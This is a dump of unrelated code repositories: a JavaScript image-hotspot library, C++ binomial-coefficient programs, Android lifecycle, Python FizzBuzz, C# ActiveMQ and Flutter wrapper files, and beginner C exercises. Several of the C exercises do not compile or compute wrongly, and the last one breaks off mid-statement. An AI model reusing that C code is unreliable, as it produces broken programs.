return this.makeRequest(url);
}
};<file_sep>/tests/helpers.js
var TestHelpers = {
formatPosition: function (val) {
var computedVal = val.toString();
computedVal = computedVal.substr(0, 2) + computedVal.substr(2, 3);
return computedVal;
},
convertPercent: function (val) {
var computedVal = val.toString().slice(2);
computedVal = computedVal.substr(0, 2) + '.' + computedVal.substr(2,2);
return computedVal;
},
getPointsFromSVG: function(points){
return points.split(' ');
},
transformAreaPoints: function(points, imgInfo){
var pointsCalc = '';
points.forEach(function(v){
pointsCalc += ((imgInfo.dimensions.width * v.x) + ',' + (imgInfo.dimensions.height * v.y) + ' ');
});
return pointsCalc;
},
checkHotspotRequiredData: function(hotspotData){
if (
(typeof hotspotData.$image === 'object') &&
(typeof hotspotData.$parent === 'object') &&
(typeof hotspotData.$target === 'object') &&
(hotspotData.hotspot !== 'undefined') &&
(hotspotData.hotspot.selector.length > 0) &&
(hotspotData.hotspot.target.length > 0) &&
(typeof hotspotData.hotspot.points.x === 'number') &&
(typeof hotspotData.hotspot.points.y === 'number')
) {
return true;
}
return false;
},
checkPolygonRequiredData: function(hotspotData){
if (
(typeof hotspotData.$image === 'object') &&
(typeof hotspotData.$parent === 'object') &&
(typeof hotspotData.$target === 'object') &&
(hotspotData.polygon !== 'undefined') &&
(hotspotData.polygon.selector.length > 0) &&
(hotspotData.polygon.target.length > 0) &&
(hotspotData.polygon.points.length === 4) &&
(typeof hotspotData.polygon.points[0].x === 'number') &&
(typeof hotspotData.polygon.points[0].y === 'number')
) {
return true;
}
return false;
}
}
if(typeof module !== 'undefined'){
module.exports = function(){
return TestHelpers;
}
}<file_sep>/examples/playground/playground.js
(function ($) {
window.POIGenerator = {
generatedCode: {
defaults: {
poiJsSrc: 'https://dev-solutions.s3.amazonaws.com/poi-js-lib/poi-lib.min.js',
poiCssSrc: 'https://dev-solutions.s3.amazonaws.com/poi-js-lib/css/poi.css'
},
appendScriptStyles: null,
findPOIClasses: null,
initPOI: null
},
defaults: {
account: 'csdemo',
imgName: 'cb_d2X2Th_Kids_RWL_BdrmBoy_01_201803',
imgClass: 'js-poi-img',
containerClass: 'js-poi-img-container',
basePath: 'https://www.crateandbarrel.com/',
path: 'https://i1.adis.ws/',
jsonData: null
},
findPOIClasses: function (imgName) {
var self = this;
function getChildren(elem, skipMe) {
var r = [];
for (; elem; elem = elem.nextSibling)
if (elem.nodeType == 1 && elem != skipMe)
r.push(elem);
return r;
}
var imgs = Array.prototype.slice.call(document.querySelectorAll("img"));
var filteredImgs = imgs.filter(function (img) {
return img.src.indexOf(encodeURIComponent(imgName)) !== -1;
});
if (filteredImgs.length > 1) {
console.warn('More then one image is found with name: ' + imgName + '. Using first one');
}
var img = filteredImgs[0];
var pic = img;
var container = img.parentNode;
if (container.tagName.toLowerCase() === 'picture') {
container = container.parentNode;
pic = img.parentNode;
}
img.classList.add(self.defaults.imgClass);
var siblings = getChildren(container.firstChild, pic);
if (siblings.length > 0) {
var $wrapper = document.createElement('div');
pic.parentNode.insertBefore($wrapper, pic);
$wrapper.appendChild(pic);
}
container.classList.add(self.defaults.containerClass);
return {
imgClass: self.defaults.imgClass,
containerClass: self.defaults.containerClass
}
},
initPOI: function (opts, jsonData) {
var self = this;
var classes = self.findPOIClasses(opts.imgName);
var poi = new POI({
domain: self.defaults.path,
account: opts.account,
containerClass: classes.containerClass,
imgClass: classes.imgClass,
images: [
{
name: opts.imgName,
data: jsonData ? jsonData : (self.defaults.jsonData || false),
hotspotCallbacks: [
{
target: "*",
action: "click",
callback: function (evt, settings) {
window.open(
opts.basePath + settings.hotspot.target,
'_blank'
)
}
},
{
target: "*",
action: 'mouseover',
callback: function (evt, settings) {
settings.$target.classList.add('hovered');
}
},
{
target: "*",
action: 'mouseout',
callback: function (evt, settings) {
settings.$target.classList.remove('hovered');
}
}
]
}
]
});
poi.init();
},
destroyPOI: function () {
$('.js-img-container').empty();
},
reapplyImg: function (defaults, opts) {
$('.js-img-container').append('<img src="' + defaults.path + 'i/' +
(opts ? opts.account : defaults.account) + '/' +
(opts ? opts.imgName : defaults.imgName) + '" />');
},
getData: function (opts, callback) {
var self = this;
$.ajax({
url: (opts.path || 'http://i1.adis.ws/') + 'i/' + opts.account + '/' + opts.imgName + '.js?v=' + new Date().getTime() + '&metadata=true',
jsonp: "func",
dataType: "jsonp",
success: function (response) {
var resp = false;
if (!response || !response.metadata || !response.metadata.hotSpots || response.metadata.hotSpots.hotSpots.list.length < 1) {
resp = false;
}
else {
resp = response;
}
return callback.call(self, resp);
},
error: function () {
return callback.call(self, false);
}
});
},
//Panel behavior
panelToggle: function ($panelNav, $panel, callback) {
var self = this;
$panelNav.click(function (e) {
e.preventDefault();
$panel.toggle();
if (typeof callback === 'function') {
callback.call(self);
}
});
},
panelApply: function ($panelNav, $panel) {
var self = this;
var passed = true;
var settings = {};
$panel.find('input:text').each(function (ind, input) {
var $input = $(input);
var val = $input.val();
var name = $input.prop('name');
if (val.length < 1) {
passed = false;
alert('All fields are required');
return false;
}
settings[name] = val;
self.generatedCode.defaults[name] = val;
});
if (!passed) {
return false;
}
self.getData(settings, function (jsonData) {
self.destroyPOI();
if (!jsonData) {
$panelNav.addClass('with-error');
self.reapplyImg(self.defaults);
self.initPOI(self.defaults);
}
else {
$panelNav.removeClass('with-error');
self.reapplyImg(self.defaults, settings);
self.initPOI(settings, jsonData);
}
});
},
panelInit: function ($panelNav, $panel, $panelButton, $panneltoHide) {
var self = this;
self.panelToggle($panelNav, $panel, function () {
$panneltoHide.hide();
});
$panelButton.click(function (e) {
e.preventDefault();
self.panelApply($panelNav, $panel);
});
},
appendScriptStyles: function (callback) {
var self = this;
var style = document.createElement("link")
style.setAttribute("rel", "stylesheet")
style.setAttribute("type", "text/css")
style.setAttribute("href", self.defaults.poiCssSrc);
document.head.appendChild(style);
var script = document.createElement('script');
script.onload = function () {
callback.call(self);
};
script.src = self.defaults.poiJsSrc;
document.head.appendChild(script);
},
constructCopyCode: function ($textarea) {
var self = this;
self.generatedCode.findPOIClasses = self.findPOIClasses;
self.generatedCode.appendScriptStyles = self.appendScriptStyles;
self.generatedCode.initPOI = self.initPOI;
var libCode = 'window.PoiLibCode={};';
for (var x in self.defaults) {
if (self.defaults.hasOwnProperty(x)) {
if (x === 'jsonData' || typeof self.generatedCode.defaults[x] !== 'undefined') {
continue;
}
self.generatedCode.defaults[x] = self.defaults[x];
}
}
for (var x in self.generatedCode) {
if (self.generatedCode.hasOwnProperty(x)) {
if (typeof self.generatedCode[x] === 'function') {
libCode += 'window.PoiLibCode["' + x + '"] = ' + self.generatedCode[x] + ';';
continue;
}
libCode += 'window.PoiLibCode["' + x + '"] = ' + JSON.stringify(self.generatedCode[x]) + ';';
}
}
libCode += 'window.PoiLibCode.appendScriptStyles(function(){window.PoiLibCode.initPOI(window.PoiLibCode.defaults);})';
$textarea.val(libCode);
},
copyToClipboard: function ($codeCopyButton, $textarea) {
$codeCopyButton.click(function (e) {
e.preventDefault();
$textarea.select();
document.execCommand('copy');
});
},
codeCopyInit: function ($codeNav, $codePanel, $codeCopyButton, $textarea, $panelToHide) {
var self = this;
self.panelToggle($codeNav, $codePanel, function () {
$panelToHide.hide();
self.constructCopyCode($textarea)
});
self.copyToClipboard($codeCopyButton, $textarea);
},
initAll: function () {
var self = this;
var $panelNav = $('.js_panel_nav');
var $panel = $('.js_panel');
var $panelButton = $('.js_panel_submit');
var $codeNav = $('.js_code_nav');
var $codePanel = $('.js_code_panel');
var $codeCopyButton = $('.js_copy_clipboard');
var $codeTextarea = $('.js_copy_textarea')
self.getData(self.defaults, function (jsonData) {
self.defaults.jsonData = jsonData
self.initPOI(self.defaults);
});
self.panelInit($panelNav, $panel, $panelButton, $codePanel);
self.codeCopyInit($codeNav, $codePanel, $codeCopyButton, $codeTextarea, $panel);
}
}
}(jQuery));<file_sep>/gulpfile.js
'use strict';
var gulp = require('gulp');
var merge2 = require('merge2');
var plumber = require('gulp-plumber');
var concat = require('gulp-concat');
var rename = require('gulp-rename');
var minify = require('gulp-minify');
var gzip = require('gulp-gzip');
var jshint = require('gulp-jshint');
var notify = require('gulp-notify');
var growl = require('gulp-notify-growl');
var watch = require('gulp-watch');
var script = './src/poi.js';
var distPath = './dist/';
gulp.task('build', function () {
return merge2(gulp.src([
'./node_modules/atomicjs/dist/atomic.js',
'./src/poi-reusable.js',
'./src/poi-dom.js',
'./src/poi-hotspot.js',
'./src/poi-polygon.js',
'./src/poi-ajax.js',
'./src/poi.js'
])
.pipe(plumber(function (error) {
}))
.pipe(concat('poi-lib.js'))
.pipe(gulp.dest(distPath))
.pipe(minify({
noSource: true,
ext: {
min: '.min.js'
}
}))
.pipe(gulp.dest(distPath))
.pipe(gzip())
.pipe(gulp.dest(distPath))
)
});
gulp.task('playground', ['build'], function () {
gulp.src('dist/poi-lib.min.js')
.pipe(gulp.dest('./examples/playground')
)
});
gulp.task('jshint', function () {
gulp.src('src/*.js')
.pipe(jshint('.jshintrc'))
.pipe(jshint.reporter('jshint-stylish'))
.pipe(jshint.reporter('fail'))
.pipe(notify({
title: 'JSHint',
message: 'JSHint Passed. All good!'
}))
});
gulp.task('watch', ['playground'], function () {
watch(['./src/*.js'], function () {
gulp.start('build');
});
});
gulp.task('default', ['playground']);<file_sep>/README.md
# README #
This lib allows to add responsive hotspots to specified images
### Prerequisite ###
It is preferred to use **node** v7+ up to v11
### Installation ###
* npm install
* npm install gulp -g
* gulp
### Usage ###
```
#!javascript
POI.init({
domain: 'https://cdn.media.amplience.net',
account: 'your_account_name',
containerClass: 'img-container',
imgClass: 'js-poi-img',
images: [
{
name: "large1",
// data: {"isImage":true,"alpha":false,"width":4273,"height":2268,"format":"JPEG","metadata":{"image":{"colorSpace":"rgb","resolutionY":72,"valid":true,"resolutionX":72,"depth":8,"alpha":false,"format":"JPEG","width":4273,"id":"bfbc9a80-c2ef-4df7-837a-2fa25be1824a","height":2268,"resolutionUnits":1},"hotSpots":{"hasPolygon":true,"hotSpots":{"list":[{"selector":"img-point","id":"475e1c78-55f0-42fe-a841-870fbf18785c","type":"sku","points":{"x":0.82334144592285,"y":0.85594985064338},"target":"rightLeg"},{"selector":".img-point-2","id":"43041d6f-aa1e-4654-b24d-3cd5b9cc1568","type":"sku","points":{"x":0.11536297798157,"y":0.69578024471507},"target":"leftLeg"},{"selector":".img-area","id":"c17448ea-cf85-43e2-a5f4-16277250f95b","type":"sku","points":[{"x":0.72445787512352,"y":0.19781434697355},{"x":0.8297635232058,"y":0.19781434697355},{"x":0.8297635232058,"y":0.42811810702956},{"x":0.72445787512352,"y":0.42811810702956}],"target":"rightPillow"},{"selector":"img-point-2","id":"eae74187-2d3c-4ede-aa7c-43835addc4b3","type":"sku","points":{"x":0.27611713409424,"y":0.3154537784352},"target":"leftPillow"},{"selector":"img-area","id":"91e379bd-13a3-46f0-8e37-4786336fe699","type":"sku","points":[{"x":0.38189503211493,"y":0.43744145425146},{"x":0.50689503211493,"y":0.43744145425146},{"x":0.50689503211493,"y":0.67273557189852},{"x":0.38189503211493,"y":0.67273557189852}],"target":"middle"}]},"hasPoint":true},"file":{"size":1233166,"id":"bfbc9a80-c2ef-4df7-837a-2fa25be1824a","type":"JPEG"},"pointOfInterest":{"w":0.125,"h":0.23529411764706,"x":0.17789419174194,"y":0.061920201918658},"exif":{"gpsLocation":"0.0, 0.0","orientation":1,"exposureTime":"1\/160","software":"Adobe Photoshop CS6 (Macintosh)","taken":1397049205,"isoSpeed":100,"model":"Canon EOS 5D Mark III","id":"bfbc9a80-c2ef-4df7-837a-2fa25be1824a","make":"Canon","focalLength":"50\/1"}},"status":"ok"},
hotspotCallbacks:[
{
target: "mountain left",
action: "click",
callback: function(evt, settings){
console.log('yay, i was clicked :)', settings);
}
}
},
{
name: "zinc_4a_zinc_tealandbluecombination_view2",
polygonCallbacks:[
{
target: "rightLeg",
action: "click",
callback: function(evt, settings){
console.log('yay, i was clicked :)', settings);
}
}
]
}
]
});
```
### Params ###
* **domain**: Domain where image is hosted
* **account**: Account, on which image is located
* **containerClass**: Parent class name, inside which image is located
* **imgClass**: Image class name, to which hotspots will be applied
* **images**: Array of images with image names and callbacks for hotspots
* **data**: You can specify data directly if you already retrieved it from another AJAX request.
This way, there is no need to make new AJAX request.
In the example above this param is commented out for demonstration purposes
### Specifying hotspots\polygons to all images in containers with containerClass class
```
#!javascript
name: "*",
hotspotCallbacks:[
{
target: "*",
action: "click",
callback: function(evt, settings){
console.log('generic click', settings);
},
initCallback: function(settings){
console.log('init callback polygon', settings);
}
}
]
```
### Event handlers example attached to hotspots ###
```
#!javascript
hotspotCallbacks:[
{
target: "mountain left",
action: "click",
callback: function(evt, settings){
console.log('yay, i was clicked :)', settings);
}
}
]
```
### Event handlers example attached to polygons ###
```
#!javascript
polygonCallbacks:[
{
target: "rightPillow",
action: "click",
callback: function(evt, settings){
console.log('yay, i was clicked :)', settings);
}
}
]
```
### Specifying universal callback for every hotspot\polygon
```
#!javascript
hotspotCallbacks:[
{
target: "*",
action: "click",
callback: function(evt, settings){
console.log('generic click', settings);
},
initCallback: function(settings){
console.log('init callback polygon', settings);
}
}
]
```
### Event handlers options ###
* **target**: hotspot target (defined in DAM)
* **action**: action on which hotspot will react. E.g 'click', 'mouseover'
* **callback**: callback function for action
### Integration Tests ###
In terminal run ```npm run server```
Open new terminal window and run ```npm run test```
### License ###
This software is provided under Apache License, Version 2.0. More details in ```README.md```
| 199b142bbabbaf024c599fb523c9c4313979f732 | [
"JavaScript",
"Markdown"
] | 7 | JavaScript | amplience/poi-js-lib | 4bc75f9d765f49d980bb827ac867ee0109f83bc9 | 5e08f17c5b3420e6889ccb04a0dd8e408aa0a630 |
refs/heads/master | <file_sep>#include <iostream>
#include <string>
#include <chrono>
#include <cstdlib>
#include <ctime>
long long bino(long long n, long long r);
int main(int argc, char** argv)
{
std::cout << std::string{"Start"} << std::endl;
// take argvs
int n = std::atoi(argv[1]);
int r = std::atoi(argv[2]);
// time counter: start
std::clock_t start = std::clock(); // get current time
// main
long long val = bino(static_cast<long long>(n), static_cast<long long>(r));
// time counter: end
double duration = ( std::clock() - start ) / (double) CLOCKS_PER_SEC;
std::cout<< "The result of (" << n << ", " << r << ") is " << val << std::endl;
std::cout<< "Operation took: "<< duration <<" seconds." << std::endl;
return 0;
}
long long bino(long long n, long long r)
{
// initial case
if( r==0 || n==r )
return 1;
return bino(n-1, r-1) + bino(n-1, r);
}
<file_sep>#include <iostream>
#include <string>
#include <chrono>
#include <cstdlib>
#include <ctime>
#include <array>
//long long bino(long long n, long long r);
class binoDP
{
private:
static const int max_num = 100;
std::array< std::array<long long, max_num>, max_num> cache;
public:
binoDP()
{
// cache initialization
for(auto & row : cache)
for(auto & col : row)
col = -1;
}
long long bino_fast(long long n, long long r)
{
// initial case
if( r==0 || n==r )
return 1;
if( cache[n][r] != -1 )
return cache[n][r];
return cache[n][r] = bino_fast(n-1, r-1) + bino_fast(n-1, r);
}
long long bino_slow(long long n, long long r)
{
// initial case
if( r==0 || n==r )
return 1;
return bino_slow(n-1, r-1) + bino_slow(n-1, r);
}
};
int main(int argc, char** argv)
{
std::cout << std::string{"Start"} << std::endl;
std::cout << std::endl;
// take argvs
int n = std::atoi(argv[1]);
int r = std::atoi(argv[2]);
// time counter: fast
std::clock_t start_fast = std::clock();
binoDP bino_calculator;
long long val_fast = bino_calculator.bino_fast(n, r); // main
double duration_fast = ( std::clock() - start_fast ) / (double) CLOCKS_PER_SEC;
// time counter: slow
std::clock_t start_slow = std::clock();
long long val_slow = bino_calculator.bino_slow(n, r); // main
double duration_slow = ( std::clock() - start_slow ) / (double) CLOCKS_PER_SEC;
// log print
std::cout<< "Fast Operation took: "<< duration_fast <<" seconds." << std::endl;
std::cout<< "Fast result of (" << n << ", " << r << ") is " << val_fast << std::endl;
std::cout << std::endl;
std::cout<< "Slow Operation took: "<< duration_slow <<" seconds." << std::endl;
std::cout<< "Slow result of (" << n << ", " << r << ") is " << val_slow << std::endl;
std::cout << std::endl;
return 0;
}
<file_sep>cd build
rm -R *
cmake ..
make
cd ..
<file_sep>cmake_minimum_required(VERSION 2.8.3)
project(bino_naive)
set(CMAKE_CXX_STANDARD 11)
add_executable(run bino_cache.cpp)
<file_sep>cd build
rm -R *
cmake ..
make
./run
cd ..
<file_sep>cmake_minimum_required(VERSION 2.8.3)
project(bino_naive)
set(CMAKE_CXX_STANDARD 11)
add_executable(run bino_naive.cpp)
| 18ec8e68083db0294598ddc852fd32659a3a8a3a | [
"CMake",
"C++",
"Shell"
] | 6 | C++ | gisbi-kim/cpp_programming_practice | 14ee6f1b256c78070d976c845d617d3215fa3dcb | 1b7e0001a1573586ab2c389aa1daa65394eb7f0a |
refs/heads/main | <file_sep>while True:
try:
ask = input('Enter a number: ')
print('Press q to quite: ')
ask = ask.lower()
if ask == "q":
break
ask = int(ask)
if (ask % 3) == 0 and (ask % 5) == 0:
print("Fizz Buzz !! :}")
elif (ask % 3) == 0:
print('Fizz !! :)')
elif (ask % 5) == 0:
print('Buzz !! :)')
else:
print(f'{ask} :( \n Try other numbers')
except Exception as error:
print(f'press only "q" and numbers\nThe error is {error}')
print('Thanks for playing the game')
"""
The game is made by <NAME>
email: <EMAIL>
github: github.com/Shajidur-Rahman/
Thanks for visiting my code.
""" | 9d9220876d7b053a789be3939ac981c28f8925c9 | [
"Python"
] | 1 | Python | Shajidur-Rahman/FizzBuzz-Python | 47656f62565dab1a6f3a3db50731fa8ecaa5dfc7 | 09f2eaf3fdff97569c4c3bcc5b0c976409dcdd62 |
refs/heads/master | <file_sep>#!/usr/bin/env sh
##############################################################################
##
## Flutter start up script for UN*X
## Version: v0.7.1
## Date: 2018-08-09 14:26:47
##
## Use this flutter wrapper to bundle Flutter within your project to make
## sure everybody builds with the same version.
##
## Read about the install and uninstall process in the README on GitHub
## https://github.com/passsy/flutter_wrapper
##
## Inspired by gradle-wrapper.
##
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
PRG="$0"
# Need this for relative symlinks.
while [ -h "$PRG" ] ; do
ls=`ls -ld "$PRG"`
link=`expr "$ls" : '.*-> \(.*\)$'`
if expr "$link" : '/.*' > /dev/null; then
PRG="$link"
else
PRG=`dirname "$PRG"`"/$link"
fi
done
SAVED="`pwd`"
cd "`dirname \"$PRG\"`/" >/dev/null
APP_HOME="`pwd -P`"
cd "$SAVED" >/dev/null
FLUTTER_DIR_NAME='.flutter'
FLUTTER_DIR="$APP_HOME/$FLUTTER_DIR_NAME"
# by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong
if [ "$(uname)" = "Darwin" ] && [ "$HOME" = "$PWD" ]; then
cd "$(dirname "$0")"
fi
# submodule starting with "-" are not initialized
init_status=`git submodule | grep .flutter | cut -c 1`
# Fix not initialized flutter submodule
if [ "$init_status" = "-" ]; then
echo ".flutter submodule not initizlied. Initializing..."
git submodule update --init .flutter
fi
# Wrapper tasks done, call flutter binay with all args
set -e
"$FLUTTER_DIR/bin/flutter" "$@"
<file_sep>package com.github.jbarr21.flews
import io.flutter.embedding.android.FlutterActivity
class MainActivity: FlutterActivity() {
}
<file_sep># Flews
A news client written in Flutter that displays top stories from Hacker News, Reddit's r/AndroidDev, Imgur's most viral, and GitHub top Java repos.
## Install
In order to install the app, generate the models and run the app:
```
./flutterw packages pub run build_runner build
./flutterw run
```
## Screenshots
<img src="images/artwork/flews-android-hn.png" width="320"> <img src="images/artwork/flews-ios-hn.png" width="320">
<img src="images/artwork/flews-android-reddit.png" width="320"> <img src="images/artwork/flews-ios-reddit.png" width="320">
<img src="images/artwork/flews-android-imgur.png" width="320"> <img src="images/artwork/flews-ios-imgur.png" width="320">
<img src="images/artwork/flews-android-gh.png" width="320"> <img src="images/artwork/flews-ios-gh.png" width="320">
*Design inspired by [CatchUp](https://github.com/hzsweers/CatchUp)*
| 59926aa7ced6ee759c0e22593e879fcb0a040927 | [
"Markdown",
"Kotlin",
"Shell"
] | 3 | Shell | jbarr21/flews | bbc65972bf0112300ab6115649f7453a059c7518 | 49c8c00478db8f54d17167272f6eb35cfd9c52f7 |
refs/heads/master | <repo_name>prestonjackson/chess<file_sep>/pong.js
function onLoad() {
var canvas = document.getElementById("court");
var ctx = canvas.getContext("2d");
ctx.fillStyle = "#FF0000";
ctx.fillRect(10,10,100,100);
}
| ce971deb3718c5b0d735d9e3e36417e11c5c9603 | [
"JavaScript"
] | 1 | JavaScript | prestonjackson/chess | 710fec0bbdac74643cdae0723a183f181e5641db | 043cd8a8ebf194263363d6ecc1c904e85b36424f |
refs/heads/master | <repo_name>hacomeister/Activity-Lifecycle-Tutorial<file_sep>/app/src/main/java/com/hacomeister/activitylifecycletutorial/MainActivity.kt
package com.hacomeister.activitylifecycletutorial
import android.os.Bundle
import android.os.CountDownTimer
import android.text.format.DateUtils
import android.util.Log
import androidx.appcompat.app.AppCompatActivity
import kotlinx.android.synthetic.main.activity_main.*
class MainActivity : AppCompatActivity() {
private lateinit var timer : CountDownTimer
private var isPaused : Boolean = false
private var remainingTime : Long = 0L
companion object {
// These represent different important times
// This is when the timer is over
const val DONE = 0L
// This is the number of milliseconds in a second
const val ONE_SECOND = 1000L
// This is the total time of the timer
const val COUNTDOWN_TIME = 10000L
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
Log.i("MainActivity-Trace", "onCreate method is called")
if(savedInstanceState!=null){
if(savedInstanceState.getLong("remaining_key")!=0L){
restartTimer(savedInstanceState.getLong("remaining_key"))
}
}
else {
initTimer()
}
}
override fun onSaveInstanceState(outState: Bundle) {
if(remainingTime!=0L){
outState.putBoolean("timer_state", true)
outState.putLong("remaining_key", remainingTime)
} else{
outState.putBoolean("timer_state", false)
}
super.onSaveInstanceState(outState)
Log.i("MainActivity-Trace", "onSaveInstanceState method is called")
}
private fun initTimer(){
timer = object : CountDownTimer(COUNTDOWN_TIME, ONE_SECOND) {
override fun onTick(millisUntilFinished: Long) {
Log.i("MainActivity-TraceTimer", DateUtils.formatElapsedTime(millisUntilFinished/ONE_SECOND))
remainingTime = millisUntilFinished
tv_remaining_time.text = DateUtils.formatElapsedTime(millisUntilFinished/ONE_SECOND)
}
override fun onFinish() {
Log.i("MainActivity-TraceTimer", "Timer is finished.")
remainingTime = 0L
tv_remaining_time.text = DateUtils.formatElapsedTime(remainingTime/ONE_SECOND)
}
}
timer.start()
}
private fun restartTimer(remaining: Long){
isPaused = false
timer = object : CountDownTimer(remaining, ONE_SECOND) {
override fun onTick(millisUntilFinished: Long) {
Log.i("MainActivity-TraceTimer", DateUtils.formatElapsedTime(millisUntilFinished/ONE_SECOND))
remainingTime = millisUntilFinished
tv_remaining_time.text = DateUtils.formatElapsedTime(millisUntilFinished/ONE_SECOND)
}
override fun onFinish() {
Log.i("MainActivity-TraceTimer", "Timer is finished.")
remainingTime = 0L
tv_remaining_time.text = DateUtils.formatElapsedTime(remainingTime/ ONE_SECOND)
}
}
timer.start()
}
override fun onStart() {
super.onStart()
Log.i("MainActivity-Trace", "onStart method is called")
}
override fun onResume() {
super.onResume()
Log.i("MainActivity-Trace", "onResume method is called")
if(isPaused){
restartTimer(remainingTime)
}
}
override fun onPause() {
super.onPause()
Log.i("MainActivity-Trace", "onPause method is called")
if(remainingTime!=0L){
isPaused = true
timer.cancel()
}
}
override fun onStop() {
super.onStop()
Log.i("MainActivity-Trace", "onStop method is called")
}
override fun onDestroy() {
super.onDestroy()
Log.i("MainActivity-Trace", "onDestroy method is called")
}
override fun onRestoreInstanceState(savedInstanceState: Bundle) {
super.onRestoreInstanceState(savedInstanceState)
Log.i("MainActivity-Trace", "onRestoreInstanceState method is called")
}
}
<file_sep>/README.md
# Activity-Lifecycle-Tutorial
Tutorial about activity lifecycles / configuration changes
<file_sep>/settings.gradle
rootProject.name='Activity Lifecycle Tutorial'
include ':app'
| 8918028797b60cb9ae02e53045a970c267fa61a0 | [
"Markdown",
"Kotlin",
"Gradle"
] | 3 | Kotlin | hacomeister/Activity-Lifecycle-Tutorial | 047b0097cf939faf518af4d19c7776baafe01c81 | dca2e6d7e66abdbf36606b1d2fc3b054e0d0c4b8 |
refs/heads/master | <repo_name>michellebholland/sweetheartX<file_sep>/src/components/TechCheckbox.jsx
import React from 'react';
import Form from 'react-bootstrap/Form';
import '../styles/checkbox.scss';
const TechCheckbox = ({ name, onTechFilter }) => (
<Form key={name}>
<div key="checkbox" className="mt-2 ml-3">
<Form.Check id="checkbox" type="checkbox">
<Form.Check.Input isValid type="checkbox" value={name} onClick={onTechFilter} />
<Form.Check.Label className="ml-2">
<h4 id="boxText"> {name}</h4>
</Form.Check.Label>
</Form.Check>
</div>
</Form>
);
export default TechCheckbox;
| c1f0f9581a5a91871c112ab286bf11ca2720f470 | [
"JavaScript"
] | 1 | JavaScript | michellebholland/sweetheartX | e713aae07bd69127b7a965c5f3f94e50cfc32558 | 6bcc0ca0048ca25a5fc8fcb0afcb77c66f77fef9 |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Apache.NMS;
using Apache.NMS.Util;
using BussinessObject;
using Apache.NMS.ActiveMQ.Commands;
using System.Threading;
namespace SendMessToActiveMQ
{
public class Program
{
static void Main(string[] args)
{
//IObjectMessage objMessage;
//OperatorRequestObject operatorRequestObject = new OperatorRequestObject();
//operatorRequestObject.shortcode
IConnectionFactory factory = new NMSConnectionFactory("tcp://localhost:61616");
IConnection connection = factory.CreateConnection();
connection.Start();
ISession session = connection.CreateSession(AcknowledgementMode.AutoAcknowledge);
ActiveMQQueue queueDestination = new ActiveMQQueue("Hello");
IMessageProducer messageProducer = session.CreateProducer(queueDestination);
//Console.ReadKey();
while (true)
{
IMessage send = new ActiveMQTextMessage(Console.ReadLine());
messageProducer.Send(send);
Thread.Sleep(100);
}
session.Close();
connection.Stop();
}
}
}
<file_sep>using Apache.NMS;
using Apache.NMS.ActiveMQ;
using Apache.NMS.ActiveMQ.Commands;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ReceiveMessFromActiveMQ
{
public class Program
{
static void Main(string[] args)
{
IConnectionFactory factory = new ConnectionFactory("tcp://localhost:61616");
IConnection con = factory.CreateConnection();
con.Start();
ISession sesstion = con.CreateSession(AcknowledgementMode.AutoAcknowledge);
ActiveMQQueue des = new ActiveMQQueue("Hello");
IMessageConsumer consumer = sesstion.CreateConsumer(des);
consumer.Listener += Consumer_Listener;
Console.ReadKey();
}
private static void Consumer_Listener(IMessage message)
{
if (message is ActiveMQTextMessage)
{
ActiveMQTextMessage msg = message as ActiveMQTextMessage;
Console.WriteLine(msg.Text);
}
}
}
}
| 98e16c2d27d3104261c63aacb711d4889d6e130b | [
"C#"
] | 2 | C# | Chau-Truong-Phat/17031361_ChauTruongPhat_TH_KT-TKPM | eb6caecd653861b66ed4407cdc577fcaacc37c5d | 910828ef372615bd9eb284e4dc8ee76eafcdbd66 |
refs/heads/master | <file_sep>package com.isagiongo.daysofserverless.controllers;
import java.util.Arrays;
import java.util.List;
import java.util.Random;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class Controller {
@GetMapping("/dreidel/spin")
public String giraDreidel() {
List<String> values = Arrays.asList("נ", "ג", "ה", "ש");
Random random = new Random();
String dreidel = values.get(random.nextInt(values.size()));
return dreidel;
}
}
<file_sep>rootProject.name = '25daysofserverless'
| 32904f3dc8aa084ce6a90fb8d495afb2581f0740 | [
"Java",
"Gradle"
] | 2 | Java | isagiongo/25-days-of-serverless | 2186eb4d8390140476b4200d5a8e977d4b3e6de4 | 49cd80345c78a5df781b890955397cf670bc901d |
refs/heads/main | <file_sep>#include<stdio.h>
int fun1(int a,int b)
{
int c1,th,hun,ten,unit;
c1=0;
th=a/1%10;
hun=b/1%10;
ten=a/10%10;
unit=b/10%10;
c1=th*1000+hun*100+ten*10+unit*1;
return (c1);
}
main()
{
int a,b,c;
scanf("%d%d",&a,&b);
c=fun1(a,b);
printf("%d",c);
}
<file_sep># fish-in-trouble-water
just three stooges
<file_sep>#include<stdio.h>
int fun1(int a,int b)
{
int c1,th,hun,ten,unit;
c1=0;
th=a/1%10;
hun=b/1%10;
ten=a/10%10;
unit=b/10%10;
c1=th*1000+hun*100+ten*100+unit*1;
return (c1);
}
int fun2(int &a,int &b)
{
int c2,th,hun,ten,unit;
c2=0;
th=a/1%10;
hun=b/1%10;
ten=a/10%10;
unit=b/10%10;
c2=th*1000+hun*100+ten*100+unit*1;
return (c2);
}
int fun3(int *pa,int *pb)//指针变量作为函数参量
{
int c3,th,hun,ten,unit;
c3=0;
th=*pa/1%10;
hun=*pb/1%10;
ten=*pa/10%10;
unit=*pb/10%10;
c3=th*1000+hun*100+ten*100+unit*1;
return (c3);
}
main()
{
int a,b,c1,c2,c3,*pa,*pb;
scanf("%d %d",&a,&b);
pa=&a;pb=&b;
c1=fun1(a,b);
c2=fun2(&a,&b);
c3=fun3(&a,&b);
printf("%d",fun1);
printf("%d",fun2);
printf("%d",fun3);
}
<file_sep>#include<stdio.h>
main()
{
int sum_student;
scanf("%d",&sum_student);
struct student
{
int no;
char name[5];
int grade_chinese;
int grade_math;
int grade_english;
int sum_grade;
}std,pers[8];
for(i=0;i<sum_student;i++)
{
pers[i].no=i+1;
scanf("%c %d %d %d",&pers[i].name[5],&pers[i].grade_chinese,&pers[i].grade_math,&pers[i].grade_english);
pers[i].sum_grade=pers[i].grade_chinese+pers[i].grade_math+pers[i].grade_english;
}
if(pers[i].sum_grade>pers[i].sum_grade)
{
if(.sum_grade=.sum_grade)
{
if(.grade_chinese>.grade_chinese)
if(.no=.no)
